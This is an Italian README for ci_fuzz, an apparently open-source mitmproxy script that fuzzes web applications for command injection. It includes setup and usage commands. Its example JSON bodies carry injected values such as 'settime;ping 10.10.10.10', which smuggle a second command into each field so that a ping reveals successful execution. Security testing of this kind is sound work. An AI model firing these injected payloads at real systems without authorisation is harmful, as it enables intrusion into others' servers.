
Script di fuzzing per injection di comandi web per mitmproxy
Descrizione:
Questo script esegue fuzzing per vulnerabilità di Command Injection che portano all'esecuzione remota di comandi.
Vulnerabilità OWASP simili sono spiegate qui --> https://www.owasp.org/index.php/Command_Injection
Lo script tenterà di eseguire comandi del sistema operativo iniettandoli in ogni valore nel corpo di una richiesta POST/PUT.
Rilevare l'esecuzione richiede un altro strumento, come l'ascolto del traffico web/icmp o il monitoraggio di una directory sul sistema operativo di destinazione, ecc.
Ad esempio, se lo script osserva che un utente ha eseguito un singolo POST con corpo impostato a {"webfunction": "settime", "hour": "10", "minute": "00"}
Lo script genererà 5 POST
1) Il POST originale (così com'è)
{"webfunction": "settime", "hour": "10", "minute": "00"}
2) Iniezione CI sul primo valore
{"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"}
3) Iniezione CI sul secondo valore
{"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"}
4) Iniezione CI sul terzo valore
{"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"}
5) Un POST di pulizia per riportare le variabili al valore originale
{"webfunction": "settime", "hour": "10", "minute": "00"}
Se il payload venisse eseguito, l'attaccante riceverebbe un pacchetto icmp ping. In questo esempio, l'applicazione web è vulnerabile all'iniezione/esecuzione di comandi tramite l'impostazione dell'ora di sistema.
Prerequisiti:
- mitmproxy 3.0.0+
#Metodo "Virtualenv" per eseguire mitmproxy 3.0.0+ (es. la tua distribuzione non supporta binari 3.0.0+)
git clone https://github.com/mitmproxy/mitmproxy.git
#Segui la "Configurazione di sviluppo" qui -> https://github.com/mitmproxy/mitmproxy (simile a sotto)
apt-get install python3-venv
cd mitmproxy
./dev.sh #Se errore mancanti header python.h - prova apt-get install python3-dev
#Conferma versione mitmproxy 3.0.0+
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
Installazione:
#Scarica ci_fuzz.py
git clone https://github.com/mvdevnull/ci_fuzz.git
Esempi di utilizzo:
*Imposta le variabili nella sezione di configurazione di ci_fuzz.py
1)*Esegui mitmweb usando lo script ci_fuzz.py in ascolto sulla porta localhost 7777
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2)*Esegui mitmweb usando lo script ci_fuzz.py come sopra e inoltra upstream a un proxy GUI come Burp su localhost
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py